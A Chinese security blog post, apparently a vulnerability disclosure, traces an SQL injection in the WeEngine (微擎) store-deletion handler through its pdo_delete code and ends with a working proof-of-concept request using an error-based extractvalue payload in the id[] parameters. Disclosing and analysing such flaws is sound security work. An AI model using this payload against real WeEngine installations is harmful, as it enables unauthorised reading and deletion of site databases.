微擎普通用户权限SQL注入漏洞(2)

没穿底裤 2020年1月1日05:05:57评论838 views字数 1104阅读3分40秒阅读模式
摘要

发现其中对id的获取直接带入pdo_delete中进行操作。查看下pdo_delete怎么进行的再继续查看下delete函数

/web/source/mc/store.ctrl.php

if($do =='delete') {  $count = pdo_fetchcolumn('SELECT COUNT(*) FROM ' . tablename('activity_clerks') . ' WHERE uniacid = :uniacid AND storeid = :id', array(':id' => $_GPC['id'], ':uniacid' => $_W['uniacid']));  $count = intval($count);  if($count > 0) {   message("该门店下有{$count}名店员.请将店员变更到其他门店后,再进行删除操作", referer(), 'error');  }  pdo_delete('activity_stores',array('id' => $_GPC['id'], 'uniacid' => $_W['uniacid']));  message('删除成功',referer(), 'success'); }

发现其中对id的获取直接带入pdo_delete中进行操作。查看下pdo_delete怎么进行的

function pdo_delete($table, $params = array(), $glue = 'AND') {  return pdo()->delete($table, $params, $glue); }

再继续查看下delete函数

 public function delete($table, $params = array(), $glue = 'AND') {   $condition = $this->implode($params, $glue);   $sql = "DELETE FROM " . $this->tablename($table);   $sql .= $condition['fields'] ? ' WHERE '.$condition['fields'] : '';   return $this->query($sql, $condition['params']);  }

直接是获取相关参数,直接带入表中进行删除动作。既然delete中没有进行任何的非删除之外的动作。就可以直接注入了。直接上poc

http://127.0.0.1/web/index.php?c=mc&a=store&do=delete post id[]=a/&id[]=) and extractvalue(1, concat(0x5c, (select user())))--

微擎普通用户权限SQL注入漏洞(2)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日05:05:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   微擎普通用户权限SQL注入漏洞(2)https://cn-sec.com/archives/76903.html

发表评论

匿名网友 填写信息